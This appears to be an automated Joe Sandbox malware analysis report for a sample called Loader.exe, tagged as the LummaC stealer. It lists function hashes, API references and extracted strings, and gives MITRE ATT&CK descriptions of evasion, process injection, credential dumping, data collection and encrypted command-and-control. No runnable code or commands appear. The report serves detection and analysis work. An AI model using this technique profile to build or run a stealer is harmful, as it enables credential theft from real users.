Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7429881085838c9e2ea473406c0e777441f7560d71a7cb9971c1e3e1e517dda0
Instruction ID: 8192ad4da6690d975133d58e89ccec5cc32f62d7e28f0f863b58bcb031853df0
Opcode Fuzzy Hash: 7429881085838c9e2ea473406c0e777441f7560d71a7cb9971c1e3e1e517dda0
Instruction Fuzzy Hash: 64313938B556018FC725CB68CCC0B3673A3EBD6315B589639E092673D6DB38E8068788

Function 004292E0 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8820827ab3717a503f23ee1f329a572c2ac425d8331617b1f9b573c8837ef006
Instruction ID: 6483a22a6f500d058f9f4f03b7d1e0b0debdf2b506a58ba5144e8a59cc6fe5a8
Opcode Fuzzy Hash: 8820827ab3717a503f23ee1f329a572c2ac425d8331617b1f9b573c8837ef006
Instruction Fuzzy Hash: DF31C432E00125CFCB14CF64C8516AFB7B2FF46310F19959AD842AB3A1DB385D01CB94

Function 004393C0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311bccfb7c94d63f981d42372d52fcc226d8c5098601f3624a1e21d790acd581
Instruction ID: daeb1bb460313cd135989d5d7c02351c17a175b5b9fd5c5575e707a8a0bfda13
Opcode Fuzzy Hash: 311bccfb7c94d63f981d42372d52fcc226d8c5098601f3624a1e21d790acd581
Instruction Fuzzy Hash: 3C1178217082110AC3249BA9C8C1177F399DBDE724F19967BD9C08F292E2B8CC42C3D5

Function 00436370 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 91ac4c5b143b02c7d32e682e2a6aab4e0f1bc94368da354689b67666a2c00c8c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6311EC336451D50EC3168D3C84005A67FA30B97234F1AD39EF8B49B2D3D7278D8A8359

Function 0042A660 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee26b68ca80d359eea836c05570f0252371bc8a0c72456eea12c8fb01481f6b
Instruction ID: 9eb9525df2382ca65ffc71ea0fe4effccc3bbe68bdeaf4085e84a9653100f2a1
Opcode Fuzzy Hash: 2ee26b68ca80d359eea836c05570f0252371bc8a0c72456eea12c8fb01481f6b
Instruction Fuzzy Hash: A8019EF5B0031247D6209E11A4C4B2BB2A9AF90748F5D443EEC8457342DB7DFC2482AF

Function 00402B70 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d295e9ed382b796e59e78ecd7c3973d9fbade591b377e9c3dd8d664adeac99
Instruction ID: fe22f187d6262aa03d792ec1030457158b6d731bbaaa7045d526425db3de230e
Opcode Fuzzy Hash: d5d295e9ed382b796e59e78ecd7c3973d9fbade591b377e9c3dd8d664adeac99
Instruction Fuzzy Hash: 1D01F46B7A831A0BD700DDBDECD56AAB7A696D5108B1E4139EA80D7781E0B8F8058294

Function 00425E70 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4230b21a2fd02e58cc7b406f354e8a131570180303f77ccb7a9505112db3ad99
Instruction ID: 18454f57bc8bd7713fef9fb37d3191b327954915f6893786146af46e59a98f16
Opcode Fuzzy Hash: 4230b21a2fd02e58cc7b406f354e8a131570180303f77ccb7a9505112db3ad99
Instruction Fuzzy Hash: AA01B53560E710DFC7188B24948093FB3B2FB9A324FA5556CD59123261D330ED028BCE

Function 00425DEA Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cdd2821561e72d22e9e4a155e993369658370f557c2a38552048b2028693a2
Instruction ID: 6fca0e276dc41d176f9258a46a62d3d95cdd6612b9affbec5bcc6b9929d5356f
Opcode Fuzzy Hash: 75cdd2821561e72d22e9e4a155e993369658370f557c2a38552048b2028693a2
Instruction Fuzzy Hash: 3001DF30A096209BC7088B14A48053FF3B2EF8B720FD5552DE68667251C335ED028B8E

Function 0043EC60 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa1d9da91f22f173d497c8b9dff6cb2ad0c54e4f2a9c7da531a3c1cc58556e0
Instruction ID: 79179b24096eac5e6ac07bd72d819e76adb0a4e00d37c96423816886d630571d
Opcode Fuzzy Hash: bfa1d9da91f22f173d497c8b9dff6cb2ad0c54e4f2a9c7da531a3c1cc58556e0
Instruction Fuzzy Hash: E7012B3AA519904BC718CF39DC91AE573A1F797305F19A6BCC406E7274EE3499058B48

Function 0040B79B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f67c24f99cd3bc66bd5b873502f9be22687b740bcac6bb5ea83f9132e44f2e
Instruction ID: 006929160d69d297b0fade613808cb138237ee9c33cbc0bff183a40fe4272359
Opcode Fuzzy Hash: a5f67c24f99cd3bc66bd5b873502f9be22687b740bcac6bb5ea83f9132e44f2e
Instruction Fuzzy Hash: 48F024796093805BD348CF34DCE1A6BBBA6E792608F05653CE58293290CA21DC598A4D

Function 00431D48 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 102COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431D54
VariantInit.OLEAUT32 ref: 00431D60

Strings

b, xrefs: 00431DBA
l, xrefs: 00431DD2
, xrefs: 00431D96
3, xrefs: 00431D8E
", xrefs: 00431D86
f, xrefs: 00431DAA
`, xrefs: 00431DC2
4, xrefs: 00431D9E
n, xrefs: 00431DCA
j, xrefs: 00431DDA
m, xrefs: 00431DD6
%, xrefs: 00431DA6
-, xrefs: 00431D7E
d, xrefs: 00431DB2

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $"$%$-$3$4$`$b$d$f$j$l$m$n
API String ID: 2610073882-388534048
Opcode ID: 0d47e0fe30014c20ce2d32c7426541ef57348e46fc9c568ff5466d38f1117a37
Instruction ID: 0ed16d0090aa2853db3fa94cf8c83c94d7f5a066e2027e59c45352e3d5823b27
Opcode Fuzzy Hash: 0d47e0fe30014c20ce2d32c7426541ef57348e46fc9c568ff5466d38f1117a37
Instruction Fuzzy Hash: 5C415C612087C1CED725CF38C889346BFA2AB62314F08C69DD8E54F39BD279D516C762

Function 0043285B Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 96COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432867
VariantInit.OLEAUT32 ref: 00432873

Strings

`, xrefs: 004328DB
4, xrefs: 004328B7
n, xrefs: 004328E3
", xrefs: 0043289F
l, xrefs: 004328EB
, xrefs: 004328AF
d, xrefs: 004328CB
f, xrefs: 004328C3
-, xrefs: 00432897
m, xrefs: 004328EF
3, xrefs: 004328A7
%, xrefs: 004328BF
b, xrefs: 004328D3
j, xrefs: 004328F3

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $"$%$-$3$4$`$b$d$f$j$l$m$n
API String ID: 2610073882-388534048
Opcode ID: ae5400dcd5d302ef961202c0a16dd426301db3ee827d1cb557e1cc8c01814538
Instruction ID: cf5d184b347ae60a31a8e7b64644b3d0961cef50304e460fca956dadef895e24
Opcode Fuzzy Hash: ae5400dcd5d302ef961202c0a16dd426301db3ee827d1cb557e1cc8c01814538
Instruction Fuzzy Hash: 2F413C612087C08ED726CF3CC885346BFE1AB66314F08869DD8E58F39BD275D516C766

Function 0042DAFD Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042DC5F

Strings

G, xrefs: 0042DC87
kdge, xrefs: 0042DB69
glhm, xrefs: 0042DB59

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: G$glhm$kdge
API String ID: 3664257935-3790318392
Opcode ID: efda84222cddbdac5fe667d835128501f3c90b1fd491eb25eb067e342f112da9
Instruction ID: bfd15d46e1ac39dd06e1a04889429419f0e65eafd70abaf615cf56b171db5900
Opcode Fuzzy Hash: efda84222cddbdac5fe667d835128501f3c90b1fd491eb25eb067e342f112da9
Instruction Fuzzy Hash: C451267060C3919FE311CB25D850B6BBFD0EFA6300F14486DF5C5AB392D2B98805CB56

Function 00424883 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004248C1

Strings

ha, xrefs: 004248F9
q, xrefs: 00424900
ha, xrefs: 00424960, 00424519

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ha$ha$q
API String ID: 237503144-2525095540
Opcode ID: 2afdf2c7a496911d1016a4b7ad03343ecd8edc0553639cf8e445061b07e4d96e
Instruction ID: c658e200b3172b2c4a4d6f089079a709458a382cdb7082564cb6dc42ecfb3a23
Opcode Fuzzy Hash: 2afdf2c7a496911d1016a4b7ad03343ecd8edc0553639cf8e445061b07e4d96e
Instruction Fuzzy Hash: B731D575A00211CFDB10CF98D881BAE7BB1FF49714F158079E914AF396DB75D8028B95

Function 0043403E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043406C
GetSystemMetrics.USER32 ref: 0043407B

Strings

, xrefs: 00434129

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 9263576a989dd9e8dd5ba1139270ca0a2cd30e8eaf9ab1227e7a8ea63402d5a7
Instruction ID: e93982ecca13eb1c7eb5bd9c416ca4066cf6d94eca1d44aa69bf2b87bfcca62b
Opcode Fuzzy Hash: 9263576a989dd9e8dd5ba1139270ca0a2cd30e8eaf9ab1227e7a8ea63402d5a7
Instruction Fuzzy Hash: 3931A3B49143548FDB00EFA8E98565DBBF0BB89704F11852EE498DB360D774A948CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
Loader.exe

Function 0095A19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00922560 Relevance: 10.6, APIs: 7, Instructions: 82
encryptionthreadCOMMON

Function 00922060 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 0093CFFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00921800 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 00935439 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 009355DE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 0093574F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00943CE4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 009444BD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00929290 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 0093DB42 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00921FA0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre